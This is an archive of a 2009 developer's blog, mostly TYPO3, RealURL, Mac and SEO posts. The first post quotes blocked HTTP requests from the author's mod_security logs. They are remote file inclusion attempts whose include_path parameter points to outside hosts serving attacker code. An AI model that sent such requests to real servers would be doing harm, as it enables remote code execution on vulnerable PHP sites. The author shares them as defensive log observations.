Nov 23, 2009

Let's do something stupid!

Let's try some stupid HTTP requests to my server :) For example, this:
GET /article/advanced-guestbook-spam-blockin…//admin.php?include_path=http://www.shoppingxxxsource.com/source/idxx.txt?? HTTP/1.1
Connection: close
or
GET /article/advanced-guestbook-spam-blockin…//admin.php?include_path=http://www.vnmhost.net/01.gif? HTTP/1.1
TE: deflate,gzip;q=0.3
Connection: TE, close
Host: dmitry-dulepov.com
User-Agent: Mozilla/5.0
or
GET /article//admin.php?include_path=http://www.shoppingxxxsource.com/source/idxx.txt?? HTTP/1.1
Connection: close
Host: dmitry-dulepov.com
User-Agent: Mozilla/5.0
or
GET /article/advanced-guestbook-spam-blocking.html//admin.php?include_path=http://www.shoppingxxxsource.com/source/idxx.txt?? HTTP/1.1
Connection: close
Host: dmitry-dulepov.com
User-Agent: Mozilla/5.0
I see requests like this daily in security logs of both my servers. They all are stopped by mod_security.
I wonder am I the only one who gets tons of this scum? :) If anybody else monitors his/her server security, you are welcome to share your "statistics" about these automated attacks to non–existing web applications.

Oct 14, 2009

Persisting Korean spider, hack attempts

After yesterday's incident with a stupid bot, I thought I might give you more insight on what happens on the Net. Here is some interesting examples from mod_security2 logs on my server.

Oct 13, 2009

Stupid bot gets banned

Today one bot, which identified itself as Sean's Agent/1.0 (compatible; SA 1.0; Windows NT 6.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 3.0.04506; .NET CLR 1.1.4322; made 10459 requests to one of my sites within two hours from the same IP address (78.84.130.92). The user agent comes from a C# sample. This is a good example how good code can be used for bad purposes.

Looks like somebody stupid took this sample and tried to build some kind of bot with it. This bot tried to grab the site in a very aggressive way, requesting the same page many times. What did it earn in the end? A permanent ban for IP address and this user agent on all my servers.

Oct 8, 2009

Next version of RealURL is almost ready (1.6.0)

The next version of the RealURl TYPO3 extension is almost ready. You can grab a pre–release copy of it. This version supports long cHash values that will appear and in TYPO3 4.3. Running on PHP 5.3 is fully supported and tested. There is also a lot of bug fixes and an improved redirect module. Here is a full list since the previous release:

Sep 28, 2009

Installed Snow Leopard

Yesterday I installed Snow Leopard. Here is what I liked:

  • Exposé in Dock
  • Minimize to the same icon instead of adding extra icon to the Dock
  • Loads and in general works faster
  • Remembers language settings for each application. Now I can type in Russian in Skype, in Latvia in the web browser and in English in NetBeans without using language switch

What I did not like:

  • Safari plugins lost
  • huge icons in stacks with no way to make them smaller
  • PHP 5.3 and no way to downgrade to 5.2.x

It took 1 hour 15 minutes to update my MacBook Pro. In general it was a good update.

Sep 25, 2009

Getting rid of PGP WDE for Mac

A couple of months ago I installed PGP Whole Disk Encryption (WDE) for Mac OS X. This software encrypts the entire hard disk and requires pre–boot authentication before allowing Mac OS X to boot. It worked well on Leopard: no slow downs, no faults, simple and effective. I like it.

Now Snow Leopard is out. PGP Inc promised to release a Snow Leopard–compatible version of WDE together with the Snow Leopard release. They failed. Instead they offered a beta program where anybody can sign up. I signed up twice. No good. Not even a single response from PGP.

PGP keeps complete silence about updating WDE for Snow Leopard. I waited for weeks but now I decided to get rid of WDE. It is a bad attitude to customers, when PGP continues to keep silence while users actively ask about the status of the software.

I decided to get rid of WDE and install Snow Leopard. If PGP Inc fails to keep its promises and ignores its customers, than I am no longer a customer of PGP Inc. That ends PGP product usage for me.

Sep 17, 2009

XDebug and Zend debugger play nicely together

I am very happy with Mac OS X 64–bit Zend debugger and Zend Studio. It is a perfect combination for the serious PHP developer. However I miss certain features of XDebug, such as a great error reporting.

Some years ago I tried running Zend Debugger with XDebug and it did not go: the server simply refused to start because of PHP initialization error. It was a Zend precaution against third party extensions that may prevent debugging.

Today I decided to try again and I found that it works! The only requirement is that XDebug is loaded before the Zend debugger. It will not be possible to debug with XDebug but profiling and enhanced error reporting works perfectly.

Whether it is accidental or not, I have no idea. But I really like that Zend allowed XDebug loading in parallel with Zend debugger. It makes developer's life even better.

Thank you, Zend, again!

Sep 16, 2009

64–bit Zend Debugger for Mac OS X is available!

If you, like me, use Zend Studio on Mac OS X, you know there were no official Zend 64–bit PHP debugger for Mac OS X. Some time ago Zend posted a true universal binary (including 64–bit version!) to the Zend Advisory Team for testing. We tested it there and it works perfectly!

Today I happy to say that Zend released this version for public use. Read the announcement made by Roy Ganor about it.

Sep 14, 2009

E-mail puzzle

What would you think if you have received an e–mail that looks approximately like this:
Dear Dimitri!
We found your web site and we think that you are a TYPO3 expert. We are a leading TYPO3 agency with 6 months history. Our agency lorem ipsum dolor sit amet, consectetur adipiscing elit. Suspendisse et lectus eget dolor fringilla suscipit. Fusce elementum orci in tellus rutrum blandit. Aenean pretium laoreet massa at gravida. Phasellus tortor lacus, euismod pellentesque hendrerit ac, tincidunt sit amet felis. Nam at est non lacus hendrerit egestas non eget magna.

Aug 20, 2009

Is Yahoo better than Google at search?

I use Blind Search a lot recently. It fetches search results from three major search engines: Bing, Google and Yahoo. It shows results to you and than asks what results you like the most. I found that most often I am satisfied with Yahoo search results. For example, searching for "magento set product type programmatically" showed two first results in Yahoo where I got most answers to my questions. Bing was #2 and Google was #3.

This is not a single example. I find that Google relelvancy becomes worse and worse. It is much harder to find what you are really looking for. Blind search shows me that Yahoo is now better than Google and Bing is nearly the same as Google.

Will Google loose the battle?

Jul 14, 2009

YouTube drops Internet Explorer 6 support

TechCrunch reports that YouTube may drop Microsoft Internet Explorer 6 support soon. In my opinion this is excellent news. Just a couple of days ago I spent almost the whole day trying to make the site with complex CSS layout work correctly in the Internet Explorer 6. FireFox, Opera, Safari and newer versions of Internet Explorer were all fine. Internet Explorer 6 required its own CSS. It is plain stupid to support such an old browser that does not behave according to standards in any mode.

I do welcome MSIE6 support drop from major market players! It means that users will start to upgrade and we (web developers) can finally get rid of this old and badly working browser.

Since YouTube belongs to Google, it can be a first step for Google to drop MSIE6 support. If Google does it, it would be a big help to all web developers around.

Google, please?!

Impressions about Adobe Creative Suite 3 Web Premium

Last Saturday I finally got my copy of the Adobe Creative Suite 3 Web Premium from eBay. This software is costly, so I looked for a good opportunity to acquire it. My edition includes Photoshop Extended, Illustrator, Acrobat Professional, Flash, Fireworks, Dreamweaver and something else that I never heard of before. I mostly need Photoshop, Illustrator and Flash, the rest is not very relevant to me.

First impressions are good. I never was a fan of Adobe products but CS3 is suprisingly good. For example, Photoshop Extended open faster than Photoshop Elements. I am not sure how it can be (Elements is supposed to be lighter). It also consumes less memory, opens files faster. Interesting fact is that Photoshop's user interface did not change since mid–nineties: still many scattered windows, still small ugly fonts. But on the other hand people are used to it, so changing it may cause certain invonvenience.

In overal I am very satisfied with the purcase. I got it for a good price and all professional possibilities are now open to me.

Jul 6, 2009

Converting Photoshop Elements to full Photoshop (almost)

Adobe Photoshop is a de facto standard for graphical processing. If you work with web site or any other graphical design. Photoshop is usually a must.
However not everyone can afford it. Adobe charges a lot for its products. Fortunately with Photoshop there is a much cheaper replacement: Adobe Photoshop Elements. It costs nearly $70 instead of $645 for the full Photoshop. Photoshop Elements is intended mainly for Photographers and amateur designers. It lacks many advanced powerful features of its full brother, such as layer sets, curves, etc.
Recently I got a PSD file. It had layer sets. Photoshop Elements cannot open layer sets. It shows them as a single non–editable group (note non–editable pencils on the right):

I searched the web for the way to open the group in the Photoshop Elements or to split the layer set into separate layers. I could find the way to do it but I found a better solution.

Jul 1, 2009

Skype CPU usage

A small interesting fact: one animated image in the Skype chat window (the one with tongue out) raises Skype CPU usage from 5.5 to 11% (double!).

Nothing to do about it, just an interesting fact :)

Shortcut icon in a TYPO3 multidomain installation

Creating a shortcut icon in the TYPO3 multidomain installation can be a tricky option. Modern browsers (like FireFox, for example), support a link tag that allows to place shortcut icons to pages. There can be transparent gif or png files. The syntax is simple:
<link rel="icon" type="image/gif" href="/fileadmin/icons/www.gif" />
In TYPO3 you can add it through the normal page.headerData or page.shortcutIcon TypoScript.
Luck ends here. The most popular browser, Microsoft Internet Explorer does not recognize this tag, requires the file to be named favicon.ico, be placed in the root of the web site and supports only Windows proprietary icon file format (.ico). So you can hardly have different icons for the Internet Explorer without tricks.

Jun 24, 2009

Stolen content

Update: the stolen content is now removed from the offending site.

I was notified that a seo24.at web site republished my article about TYPO3 performance optimization as their own thus violating my copyright. Here is their copy and here is the original. Pity to see that there are still people like this one. The could have asked and got permission immediately. Now I have to ban them from republishing anything from this site... I like to share and promote the knowledge but I hate content stealing in any form.

Jun 14, 2009

When TYPO3 gurus cannot help you

I am working with TYPO3 since year 2003. I worked for several agencies and individuals during this time. I am one of the best TYPO3 experts. This is what people say about me, not what I say about myself (I never really wanted to become a TYPO3 expert, it just happened).
I learned a lot of things while working for many people using TYPO3. Among others, there is one most important learned thing: most people think they know the right solution and they only ask TYPO3 experts (like me) to implement that solution. Typically they say: "We want you to make this thing to work like that". They think that the problem will be solved and their own customer will be fully satisfied. They are wrong, of course.

Jun 12, 2009

Does gzip compression speed up or slow down your web site?

Gzip is a good way to make your web site faster. It may decrease the size of downlodable documents by half. This seriously speeds up the loading of the site because network delays affects the performance (and user satisfaction) most.

But there is a drawback of the gzip compression that many people do not realize.

In the early Apache 1.x days mod_gzip had a very nice feature: file cache for the compressed content. mod_deflate in Apache 2 does not have any caching for the compressed content. It means that downloading 500KB of ExtJS with compression means compression this file each time. If there is no client cache or mod_proxy, this becomes a major problem. It seriously increases the load on the server. Also it slows down the response time because the file has to be compressed each time. It is a serious issue to consider for large web sites. Even client caching is not a solution.

The solution that I use for such cases is a pre–compression of such files. Then I use a mod_rewrite checks and rules to rewrite requests to these files to their compressed versions. It speeds up the loading (by 1-2 seconds in case of ExtJS).

Jun 11, 2009

Developing from UI

How does the usual development of the product starts in the Open Source community? Typically there are some wishes (requirements in the best case). Next coding starts. When the code is more or less ready, development of the UI starts. The UI reflects internal technical implementation. In particular, this is how TYPO3 was built and how many TYPO3 extensions are still built today.

Recently I decided to change my development practices completely. Earlier I followed the traditional way: PHP implementation first, UI last. Now I do the opposite: UI first, PHP next.

The interesting consequences of this methods are:

  • UI becomes more friendly to the user. This happens because the UI is not affected or limited by the underlying PHP implementation. User's satisfaction is a very important factor these days. Anyone can build the application these days. Those who can do it more friendly — win.
  • PHP implementation now serves the UI, not the opposite. It makes PHP code more structured because it becomes task–oriented. Also it speeds up the implementation time because I can develop task by task.

When the UI uses ExtJS, such development tactics become even more efficient. For example, for the rest application I completely created the UI part using static JSON files for the sample data. Now I implement PHP part for each UI part. I implement only what is necessary for the UI, not what could be necessary. Simple, fast and effective.

Jun 3, 2009

Making custom ExtJS components using panels

Note: this article is valid for ExtJS 3.x (obsolete ExtJS version).

One of the principles of the object–oriented programming says that the functionality should be encapsulated into a component and handled by the component. It helps to keep the functionality in one place and modify it easily or rewrite/replace it completely without affecting other parts of an application.
Since ExtJS is an object–oriented JavaScript framework, the same principle should be used there.
Recently I had to create a numerous ExtJS components for one project. There are numerous ExtJS examples on the web, which show complex components but often they do not follow the encapsulation principle. I decided to make it the "right way" and I am going to show how.

May 20, 2009

Macintosh vs Hackintosh

I heard an excitement about a Hackintosh project a couple of times last month. Hackintosh makes Mac OS X available for computers designed by vendors other than Apple.

I do not want to discuss legal or moral issues here. I think Apple has all rights to limit its software to its hardware. They are the owners, they have all rights to define license terms.

What remains mystery to me is why so many people are excited about using those other computers and notebooks to run Mac OS X?

Mac is not only Mac OS X, it is also hardware. Since I bought a Mac I never could find anything that looks better, works smoother and more pleasant. Everything in Mac is very well though, from size to the "breathing" tiny light and mil–colored shining Apple logo. I read at the Adobe site that Apple has created over 100 real prototypes before they released a MacBook. Can anybody compete with the company that puts so much effort to research if the usability and ergonomics? Can all these PsyStars compete? Nope. Their products are ugly. Their products are surrogates. They will work for people who want a beautiful shiny Mac but cannot afford it. Those surrogates are not Macs! They do not make Hackintosh users Mac users.

This is why I cannot understand all this excitement about Hackintosh. Yes, it is fun as a software project but only like that. It is not worth anything else. It is not a Mac.

May 13, 2009

Mute your next web site

Did you ever happen to furiously mute the sound of your computer because of a web site making it?
It is near 9 a.m. in the morning. My wife worked late yesterday and she is still sleeping. I am reading my mails before I jump to work. The owner of the blogs that I read regularly contacted me privately and asked to subscribe to his newsletter. The blog is great and the value of the newsletter is great. So I subscribed.

May 12, 2009

How NOT to create a page browser

Page browser is a complex piece of code. It is often tricky to have it done. An example from the iStockPhoto below shows that clearly:

May 11, 2009

Cleaning your Apple Mighty Mouse

If you own an Apply Mighty Mouse (excellent mouse, by the way!), you can ran into the famous problem: mouse stops scrolling into one or more directions. I was able to fix it for some time by following Apple's advise to scroll the mouse on the paper (up side down). This helped for a while but today the mouse stopped worked completely.

If this happens to you, it is really easy to disassemble and clean the mouse. The only important missing detail in the linked video is about cables. If attach a green cable the wrong way, the mouse will still work but as a one button mouse. So if the right mouse button does not work for you, open the mouse again and turn the green cable 180°.

And my mouse did not require any superglue to hold the ring. The ring stays in place. Just to be sure that it does not fall in the least expected moment, I put a tiny bit of transparent scotch tape on it. This way I will not have to break superglue again if I ever need to clean it.

Happy cleaning!

May 10, 2009

I make two talks at T3DD09: come!

"TYPO3 developer days" event, 2009 edition starts next week on Thursday. I will make two talks there:

  • How to become a better programmer (Thursday, 15:15—16:15)
  • Writing secure code (Saturday, 16:30—17:30)

The first talk is what I like most. It is tips from my own practice that I would like to share with other people. Following them will help you improve professionally. In the extreme case in will make you an exceptional programmer. I really like to give these tips away because I like when people around me are good in everything they do. So, come and listen how can you improve yourself, your career and your skills!

The second talk is a necessity. The number of security incidents in the TYPO3 is increasing and mostly due to trivial security issues. Therefore I'd like to show what they are and how to avoid them easily. This is very important for every extension programmer.

I have slides an narration ready. It will be also published as PDFs on this blog very soon after the talk.

Come and join me at T3DD09!

May 8, 2009

Google SEO recommendations

TYPO3 SEO becomes a hot topic. I covered several TYPO3 SEO topics on this blog. This time I want to share a link to Google's SEO paper that I accidentally found while checking a Google Webmaster central for the customer.

In this document Google shares tips about optimizing your pages. These are official recommendations. It means that are not only safe to use but also highly recommended for every web site. As a side note: I was happy to find that I use almost everything from this paper on this site.

The paper is very useful for anybody interested in SEO. Please, get it, read it and implement.

Download the Google SEO paper.

May 7, 2009

TYPO3 SEO: keywords from the TypoScript and a page

I like TypoScript! It is a fantastic language. Almost everything is possible. For example, today I had to solve an interesting task. I have to show keywords on the page. Keywords shouls be taken from the page's "Keywords" field and appended by the content of a TypoScript constant. Any of these too could be empty and there should be no extra comma if one of parts is missing. If no keywords are set, there should be no keywords meta on the page. So there are four choices:

May 6, 2009

Is Google Analytics reliable?

I have problems with Google Analytics. Looks like something is broken there.
I am checking a number of visitors on one site. I took yesterday (May 5, 2009) as a day to look at. The graph shows a different number of visitors for the same day depending on the start day of the graph! Have a look:

Apr 28, 2009

When do you need cHash in TYPO3

cHash is one of the most mysterious and misunderstood parameters in TYPO3. There are several articles about cHash on the web (including my own, see below) but it still remains a mystery.

cHash is important for proper caching in TYPO3. Therefore I decided to write when you need it and when not.

When to use cHash

You need cHash when:

  • the content of the page depends on the parameter of the URL, and
  • you do not use conditions, and
  • you want the content to be cached

This typically happens in extensions. The extension must produce links with cHash if its output depends on the URL and the extension is of USER type.

When not to use cHash

You do not need cHash if:

  • you create a USER_INT (non–cached) extension
  • you generate different output using TypoScript conditions on the URL parameter
  • you limit pages or site content to various user groups

In other words, care about cHash if you write PHP code. Forget cHash for the rest of TYPO3.

Apr 27, 2009

A new TYPO3 security web site

There is a new web site dedicated to the TYPO3 security. It is created and managed by Marcus Krause, who is the most active TYPO3 security team member. Marcus is known for his strong position about security, his dedication to this work and attention to details.
I highly recommend this new site to anyone who is interested in TYPO3 security.

Apr 22, 2009

One day TYPO3 performance improvement

Just a fact: yesterday I was able to speed up one TYPO3 web site 7x times. I did it by optimizing TypoScript and web server environment. I guess I could do more but my customer did not want to touch one area that could speed up the loading a little more.

I like doing this kind of performance work. It is always a challenge and I like challenging work!

Apr 21, 2009

Stopping maintenance of some TYPO3 extensions

Since today I stop maintaining the following TYPO3 extensions:
  • Comments (comments / 1.5.2)
  • Comments: individual closing (comments_ic / 1.1.2)
  • Comments: IP blocking (comments_ipbl / 0.1.2)
  • Comments: report a bad comment (comments_report / 1.0.1)
  • Ratings (ratings / 1.0.10)
  • Login user tracking (loginusertrack / 2.0.3)
  • tt_news: most popular news (nc_ttnews_mostpopular / 0.2.3)
  • Yet Another Feed Importer (yafi / 1.0.7)

Apr 17, 2009

mnoGoSearch TYPO3 extension now ranks pages like Google

Yesterday I released a new version of mnoGoSearch TYPO3 extension. There are tweaks for better page rank calculation and some bug fixes. Now mnoGoSearch runs more Google–like. It ranks TYPO3 pages with keywords in titles higher than pages with keywords only in text.

Thanks to Netcreators for support and sponsoring!

Apr 15, 2009

Was your e-mail to typo3.org rejected?

Currently most mails to typo3.org e–mail addresses are being rejected. I must tell that this is not a rejection from my side, it is a technical issue on typo3.org side (none of my control).

However if you contacted me and it caused you any inconvenience, I apologize and kindly ask you to resend your e–mail to my other e-mail address.

Thank you and sorry again for any inconvenience caused!

Apr 13, 2009

Microsoft's msnbot acts crazy

Today I saw a number of requests from various Microsoft Addresses with msnbot/20b as user agent.
This msnbot behaves wrong. It requests sites that neither existed, nor exist, nor will ever exist on this server. Here is an example (caught by mod_security2):
--f59dce4f-A--
[13/Apr/2009:20:10:48 +0300] y67Xt38AAAIAAG26Z64AAAAa 65.55.106.206 48082 213.21.217.206 80
--f59dce4f-B--
GET / HTTP/1.0
Accept: */*
Host: lionessk.livejournal.com
User-Agent: msnbot/2.0b
Connection: Keep-Alive
Cache-Control: no-cache
Requests come from from msnbot-a-b-c-d.search.msn.com hosts, which belongs to the Microsoft Corporation. There are several requests per hour for non–existing host names. For example:
  • 65.55.106.114 — lists.hosef.org
  • 65.55.106.181 — sunsyria.com
  • 65.55.106.124 — opensource.become.com
  • 65.55.106.196 — 404.capitan-trash.com
  • 65.55.106.182 — pa2.php.net
  • 65.55.106.188 — www.server318.com
  • 65.55.106.133 — www.bagenlaw.com
And so on. There are much more entries.
Has someone infected msnbot with something?

Apr 11, 2009

Artificial intelligence

Artificial intelligence has grown a lot past years. While looking for some AI issues for one of my projects, I found a chat bot that can answer questions. The program uses PHP and MySQL. I spent nearly 10 minutes talking to bot and trying to confuse it. Questions varies a lot from simple to quite sophisticated. I almost failed. So I decided to write a final statement and give up. But this was the statement where the bot choked:

But in general it was very impressive how AI bot could communicate. Interestingly it did not repeat the same answers to same questions.

Apr 10, 2009

cbrealurl: preconfigure your RealURL

Michael Cannon from the Acqal TYPO3 agency created a very nice TYPO3 extension. This extensions preconfigures RealURL for other extensions. Here is the list of supported extensions:

Apr 9, 2009

HCI: bad error message example

I have several PHP IDEs installed and switch between them sometimes. I prefer Komodo IDE for most cases but sometimes I need Zend Studio (Eclipse–based). Today is exactly that day.

The problem

There are six TYPO3 projects in my Zend Studio workspace. I tried to close one and open another. Here is what I got from Eclipse:

Apr 7, 2009

TYPO3 SEO: keep your links working

One important and commonly overlooked way to make TYPO3 sites search engine friendly and well–ranked is too keep links working. In addition to SEO it also makes users happy: if they bookmark a page, they know they will get to the destination even if the page changes.

The problem

Most (may be all) content management systems do not offer any way to keep links working. When a page is renamed or moved, the site usually replies with a 404 error to search engines and regular visitors. Search engines remove a [well–ranked] page from the index and the site looses its position. Users become frustrated by a broken bookmark.

Automatic solution

Somewhat automatic solution exists for TYPO3. Latest versions of RealURL will redirect from old paths to new paths when the page is renamed in the Frontend. This works only for the renamed page, not for the subpages. Same principle works for moving: if the page is moved, old links will redirect to a new location.
The problem with this solution is obvious: subpages still show a 404 error.

Better manual solution

There are several ways to solve the problem. They work for different cases. There is no single preferred way. Everything described below has its own use case. Normally a site will use more than one of these ways to avoid broken links. Let's see them.

Apr 5, 2009

Screenshots from Google (sunday leisure post)

I do not like to work on weekends. Therefore I will not post high–tech articles as usual but just give two screenshots from Google. Here they are are:

Google Analytics Certified

I have passed the Google Analytics Individual Qualification test. Now I am recognized as a Google Analytics specialist. According to the test FAQ:
The Google Analytics Individual Qualification is a proof of proficiency in Google Analytics that is available to any individual who has passed the Google Analytics IQ test...
...While Google Analytics is easy to use for beginners, it's also a very powerful tool in the hands of knowledgeable users. Qualified users will be effective at leveraging Google Analytics within their organizations and at helping others to do the same.
Here is how the certificate looks like:

Apr 3, 2009

Creating a mobile version of a web site

Mobile phones become smarter at displaying the web. According to Google Analytics reports for several web sites, the number of visitors coming from phones grows every week. Therefore having a mobile version of the web site becomes an important business advantage. In this article I describe how to easily create a mobile version of the web site using TYPO3 and TemplaVoila.
The way is fully created by me (except for one regular expression that I will mention in appropriate time). Currently it works successfully at www.calis.lv web site.

Terminology

Every time when I use the "mobile user agent" term it means the same as a "mobile phone that can browse the web". There are no other specific terms in this article.

How to make a mobile version of the site

We are going to use a combination the following tools and technologies:

Mar 31, 2009

Latvia forbids YouTube embedding

One of the Latvian ministry of culture, Guntis Jekabsons, officially confirmed that embedding YouTube videos on web sites is illegal and will be prosecuted in Latvia as a violation of copyright if the author did not give his explicit permission about publishing that work on sites. So now bloggers in Latvia have to have an official proof that the author allowed publishing his work on web sites before embedding videos.
I wonder if such policy exists in any other country. As far as I know, the copyright holder contacts YouTube in this case and solves it with YouTube. Latvian officials seems to be "very far" from the Internet and do not know or care what practices exist in such cases.

Automatic RealURL configuration howto

RealURL includes an automatic configuration feature. It allows to have a basic TYPO3 web site with RealURL running very fast.
Automatic RealURL configuration examines the web site and creates all necessary configuration for the RealURL to run. There are certain rules that web masters should know if they want automatic configuration to work properly.

How to use automatic configuration

There is nothing special to do. It just works. Install RealURL and automatic configuration runs and configures RealURL for this web site.

How to use automatic configuration properly

'Properly' is the main word here. Automatic configuration is simple and enough for 90% of hosts out there. But there are certain rules to make it work properly.

My most significant TYPO3 achievement

Sometimes I wonder what could be my most significant achievement in TYPO3. I did a lot of stuff but I were to pick up only one thing, what would I choose to be proud of?

It is not any extension or article or this whole blog or mailing lists posts or T3DD presentations. It is a feature of TYPO3 4.2 named "linking across domains".

Some people might remember that before TYPO3 4.2 it was not possible to link from one TYPO3 page to another using page tree and get a proper link. The result was always shown as index.php?id=12345. Editors had to put these links as external URLs. It meant that renaming of the page ended up in dead links. This has to be solved and it was solved!

In TYPO3 4.2 it became possible to link normally across domain bounds. I am very proud of this fix. It took a lot of time for development, debugging, testing and tuning but it works and it is rock stable.

Good memories! :) When I thought about it, I wondered what other people see as my greatest achievement in TYPO3? Please, post your comments!

Mar 30, 2009

External TYPO3 references

To continue a previous post about news:
  • Steffen Müller has published a review of my TYPO3 extension development book at T3Node
  • A translation of my RealURL tutorials (see links below) is available in Italian language (thanks to Francesco, the owner of mygeekmemos.com)

Mar 29, 2009

Many small news

There are many small things that go around. None of them is large enough to write a full post, so I am posting a single message about this "work in progress". So here is what I do these days:
  • I am involved in SEO activities a lot these days. Therefore I am studying SEO resources, such as Aaron Wall's seobook.com (I really like Aaron!) or seomoz.org. I used to work with SEO in the past but I am a bit obsolete in this area now. So I am learning new and changed stuff as fast as I can.
  • There is a review of the new "Learning ExtJS" book from Packt Publishing on this site. Check it out. The book is exceptionally good and useful for any ExtJS developer: from beginners to advanced. It is that rare type of the book, which is a must for any serious developer in this area.
  • I linked my Twitter profile to my Facebook profile. I did not really use Twitter before but now I plan to use it to keep both these accounts up to date with what I do.
  • I slowly drift away from the TYPO3 core development. This is less interesting for me now than it was for past several years. I plan to continue extension development and TYPO3 consulting but in a year or so I might change TYPO3 to something else. This decision grows for a couple of months already. Most likely I will focus on general web security, optimization, SEO and analytics.
  • I started spring clean up of the house. It is always good to reduce clatter and get rid of old stuff.
In general the life goes on. Life is good!

Mar 27, 2009

Looking for the Google Analytic advice

What can cause the behaviour shown on the image below? On the day when statistics changed, we deployed a newer version of one application. It is different from the previous version very little: the new version shows confrmations and messages as JavaScript pop ups, while the old version showed them using a separate page for each such message. It should not cause such a big change in Analytics, should it?
Does anyone have any idea why this change happened?

Mar 25, 2009

Redirects: TYPO3 and RealURL vs mod_rewrite

Very few people know how to optimize TYPO3 web sites for performance. There is one common mistake that almost everyone does in regard to TYPO3 performance. The mistake is to let TYPO3 handle redirects.

Why are TYPO3 redirects bad?

Let's see two typical cases when redirects happen. The first one is domain redirects, the second one is a redirect using RealURL.

Domain redirects

Domain redirects happen when there are several domains on the same page and all domains except one (primary) should redirect to the primary domain. This is usually done for SEO purposes.
How is it usually handled? The administrator creates a domain record for the primary domain. Next he creates domain records for all other domains and specifies the address where to redirect them (to the primary domain).
How do this work? Let's trace the chain of actions involved into handling HTTP request for a non–primary domain:

Mar 24, 2009

Blank (empty) page in TYPO3

There is a question that I see several times monthly in TYPO3 mailing lists: "I see an empty (blank) page after XXX. How do I fix it?". Here is the step by step answer:

  • Go to the Install tool
  • Select "All configuration"
  • Set displayErrors to 2
  • Add your IP address to devIPmask

Now you will see PHP errors that happen. By default these errors are hidden by TYPO3 for security reasons and it causes blank pages. Changing settings above allows to see these errors on your IP address only.

So fix these PHP errors and your site will be back.

[Update: Feb 18, 2014] Alternatively you can check the web server error log for such errors. You can see something like:

[Fri Feb 14 15:16:14 2014] [error] [client 127.0.0.1] PHP Fatal error:  require_once(): Failed opening required '/Users/.../typo3master/typo3/sysext/cms/tslib/class.tslib_fe.php' (include_path='/Users/.../typo3master/typo3conf/ext/phpunit/Composer/vendor/phpunit/php-text-template:/Users/.../typo3master/typo3conf/ext/phpunit/Composer/vendor/phpunit/phpunit-mock-objects:/Users/.../typo3master/typo3conf/ext/phpunit/Composer/vendor/phpunit/php-timer:/Users/.../typo3master/typo3conf/ext/phpunit/Composer/vendor/phpunit/php-token-stream:/Users/.../typo3master/typo3conf/ext/phpunit/Composer/vendor/phpunit/php-file-iterator:/Users/.../typo3master/typo3conf/ext/phpunit/Composer/vendor/phpunit/php-code-coverage:/Users/.../typo3master/typo3conf/ext/phpunit/Composer/vendor/phpunit/phpunit:/Users/.../typo3master/typo3conf/ext/phpunit/Composer/vendor/symfony/yaml:/Users/.../typo3master/typo3conf/ext/phpunit/Composer/vendor/phpunit/phpunit-selenium:/Users/dima/Project in /Users/.../TYPO3/Extensions/pagepath/class.tx_pagepath_resolver.php on line 95
[Fri Feb 14 15:16:14 2014] [error] [client 127.0.0.1] PHP Stack trace:
[Fri Feb 14 15:16:14 2014] [error] [client 127.0.0.1] PHP   1. {main}() /Users/.../TYPO3/TYPO3-master/index.php:0
[Fri Feb 14 15:16:14 2014] [error] [client 127.0.0.1] PHP   2. require() /Users/.../TYPO3/TYPO3-master/index.php:41
[Fri Feb 14 15:16:14 2014] [error] [client 127.0.0.1] PHP   3. require() /Users/.../TYPO3/TYPO3-master/typo3/sysext/cms/tslib/index_ts.php:68
[Fri Feb 14 15:16:14 2014] [error] [client 127.0.0.1] PHP   4. tx_pagepath_resolver->main() /Users/.../TYPO3/Extensions/pagepath/class.tx_pagepath_resolver.php:130
[Fri Feb 14 15:16:14 2014] [error] [client 127.0.0.1] PHP   5. tx_pagepath_resolver->createTSFE() /Users/.../TYPO3/Extensions/pagepath/class.tx_pagepath_resolver.php:64

Mar 17, 2009

TYPO3 extension update: Google sitemap

The new version of the Google sitemap extension just appeared in TER. Earlier this extension was meet very enthusiastically by the community. This version fixes some issues reported by users. In particular these issues were fixed:
  • if root page is a shortcut, sitemap will be truncated to a small amount of pages
  • tt_news sitemap is empty if home page is a shortcut or if the news sysfolder is outside of the web site root
  • tt_news articles are not indexed by Google
The first two points are simple. I describe how to avoid the shortcut problem right below. The last problems needs a deeper explanation, which I provide closer to the end of this article.

Mar 16, 2009

German edition of my TYPO3 extension development book

Addison–Wesley will publish a German version of my 'TYPO3 extension development' book. They already have a page for this book. The cover looks excellent. I like it much more than the English version.
Here is the information from the publisher's page in German:
Produktinfo
Mit diesem Buch liefert TYPO3-Core-Entwickler Dmitry Dulepov einen konzentrierten Einstieg in die Entwicklung von TYPO3-Extensions mit der TYPO3-API - nicht mehr und nicht weniger, als Entwickler für das Schreiben von Extensions benötigen.
Dulepov stellt zunächst die TYPO3-API und den Aufbau einer klassischen Extension vor, bevor er über das Planen und Generieren von Extensions in die eigentliche Entwicklung einsteigt. Sein Schwerpunkt liegt auf Frontend-Extensions (also Funktionalitäten auf der eigentlichen Webseite), beschreibt aber auch die Entwicklung von Backend-Modulen.

Mar 11, 2009

Angels and Demons of Personal Efficiency

Many people try to be efficient. There are various methods for achieving high efficiency in life and work. Many sites exist that describe how to become more efficient and how good it is. Interestingly none of them describes drawbacks. Sites and books and seminars all provide tools but none warns human being about potential dangers of high efficiency.
Nothing in the life is absolutely black and white. There are always mid–tones and shadows. Efficiency also has its light and dark sides.
Personally I am a big fan of efficiency. I tried being efficient instinctively for most of my life and I do it consciously for past several years. Did it help me in my career and life? Certainly it did. Did it do anything bad? Hmmm. I never thought of that before. But last week I saw the comment in one of posts in in my blog. Jens wrote: “don't fall into the GTD (Getting Things Done) trap and efficiency hell”. This comment triggered something in my head and I decided to analyze both light and dark side of the personal efficiency.

Mar 5, 2009

Cheap ways to increase performance of a TYPO3 web site

Update: this article represents historical information.

Normally increasing web site performance means buying better hardware or playing with Apache, MySQL and operating system settings. Certainly better hardware can make the site perform faster. Unloading some Apache modules and tuning Apache settings will help too. Optimizing MySQL also helps. It all helps but it costs a lot too. Hardware is costly and server optimization is costly.
What can be done to improve the web site performance without upgrading hardware?

Mar 3, 2009

Komodo IDE becomes even more friendly!

Komodo IDE is one of my favorite PHP IDEs for the TYPO3 extension development. In fact, if Komodo they had the following two features, they would be my favorite:
  • Ctrl+click should open the method or variable declaration
  • variable and method hinting while I type (I type t3lib_div:: and the IDE pops up a function selector list)
The second feature exists but it is not fully working. Sometimes it misses to determine the right context. But if it works, it works faster than the same feature in Zend Studio.
Today I got an automatic e-mail saying that my feature request for Ctrl+click is solved. This brings Komodo IDE much closer to the level I want. When the new version is out, I will test it and probably ditch Zend Studio forever.
